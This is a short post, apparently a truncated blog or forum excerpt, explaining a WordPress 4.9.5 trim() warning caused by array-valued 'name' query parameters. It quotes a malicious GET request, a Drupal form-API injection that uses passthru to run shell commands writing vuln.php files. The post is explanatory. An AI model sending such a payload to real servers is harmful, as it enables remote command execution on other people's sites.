WordPress 4.9.5 PHP intermittent warning trim() expects parameter 1 to be string, array given
I ran into this today. It’s a bug. I filed a bug report here: https://core.trac.wordpress.org/ticket/46797 The problem is this line of code: $qv[‘name’] = trim( $qv[‘name’] ); Source: https://github.com/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764 A (malicious) user sends a request that looks like: GET /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo ‘Vuln!! patch it Now!’ > vuln.htm; echo ‘Vuln!!’> sites/default/files/vuln.php; echo ‘Vuln!!’> vuln.php; cd sites/default/files/; echo … Read more